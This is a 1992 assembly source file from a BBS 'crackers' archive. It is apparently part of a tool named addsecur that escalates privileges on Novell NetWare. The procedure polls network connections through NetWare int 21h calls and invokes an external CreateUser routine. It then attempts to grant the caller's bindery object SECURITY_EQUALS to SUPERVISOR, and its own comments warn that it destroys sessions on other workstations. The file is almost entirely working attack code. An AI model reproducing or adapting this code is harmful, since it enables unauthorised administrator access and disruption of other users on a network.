home *** CD-ROM | disk | FTP | other *** search
/ BBS 1 / BBS#1.iso / crackers / addsecur.arj / CONN.ASM < prev    next >
Assembly Source File  |  1992-08-13  |  2KB  |  136 lines
  1. ;********************************************************
  2. ; Procedure for polling users and attempt change security
  3. ;              for caller stantion
  4. ; WARNING! Call this function destroyed all session
  5. ;             on other workstantion
  6. ;********************************************************
  7.     assume    cs:code,ds:code
  8. code    segment    word public 'CODE'
  9.  
  10.     public    Polling
  11. Polling    proc    near
  12.     mov    ax,cs
  13.     mov    ds,ax
  14.     mov    es,ax
  15.     mov    dx,1
  16. @@1:
  17.     mov    ConnNum,dl
  18.     mov    si,offset ConnReq
  19.     mov    di,offset ConRep
  20.     mov    ah,0E3h
  21.     int    21h
  22.     mov    ax,word ptr Type@
  23.     or    ax,ax
  24.     je    @@7
  25.  
  26.     mov    AddrCon,dl
  27.     mov    si,offset AddrReq
  28.     mov    di,offset AddrRep
  29.     mov    word ptr [di],12
  30.     mov    ah,0E3h
  31.     int    21h
  32.  
  33.     mov    si,offset AddrRep+1
  34.     mov    byte ptr [si],dl
  35.     mov    ah,0DCh
  36.     int    21h
  37.     cmp    dl,al
  38.     je    @@7
  39.  
  40.     push    dx
  41.     extrn    CreateUser
  42.     call    near ptr CreateUser
  43.     pop    dx
  44.     mov    ax,cs
  45.     mov    es,ax
  46.     mov    ds,ax
  47.                         ; Get MY name
  48.     mov    ah,0DCh
  49.     int    21h
  50.  
  51.     mov    AskConn,al
  52.     mov    si,offset Ask
  53.     mov    di,offset Reply
  54.     mov    ah,0E3h
  55.     int    21h
  56.  
  57.     mov    di,offset EquName
  58.     mov    si,offset Reply+6
  59.     movsw
  60.     stosb
  61. @@2:
  62.     lodsb
  63.     or    al,al
  64.     je    @@3
  65.     stosb
  66.     jmp    short @@2
  67. @@3:
  68.     mov    ax,di
  69.     sub    ax,offset EquName+3
  70.     mov    [EquName+2],al
  71.  
  72.     mov    si,offset SecTst
  73.     mov    cx,29
  74.     rep    movsb
  75.  
  76.     mov    ax,di
  77.     mov    si,offset EquReq
  78.     sub    ax,si
  79.     sub    ax,2
  80.     mov    word ptr [si],ax
  81.     mov    di,offset EquRep
  82.     mov    ah,0E3h
  83.     int    21h
  84.     or    al,al
  85.     jne    @@7
  86.     clc
  87.     ret
  88. @@7:
  89.     inc    dx
  90.     cmp    dx,64
  91.     jae    @@8
  92.     jmp    @@1
  93. @@8:
  94.     stc
  95.     ret
  96. Polling    endp
  97.  
  98. Ask     dw      2
  99.     db    16h
  100. AskConn    db    0
  101. Reply    dw    62
  102.     db    62 dup(?)
  103.  
  104. SecTst    db      0Fh
  105.     db    'SECURITY_EQUALS'
  106.     db    0,1
  107.     db    0Ah
  108.     db    'SUPERVISOR'
  109.  
  110. ConnReq    dw    2
  111.     db    22
  112. ConnNum    db    ?
  113.  
  114. ConRep    dw    62
  115. Id    db    ?,?,?,?
  116. Type@    db    ?,?
  117. Name@    db    56 dup(?)
  118.  
  119. AddrReq    dw    2
  120.     db    19
  121. AddrCon    db    ?
  122.  
  123. AddrRep    dw    12
  124. Net    db    ?,?,?,?
  125. Addr    db    ?,?,?,?,?,?
  126. Socket    db    ?,?
  127.  
  128. EquReq    dw    0
  129.     db    67
  130. EquName    db    100 dup(0)
  131.  
  132. EquRep    dw    0
  133.  
  134. code    ends
  135.     end
  136.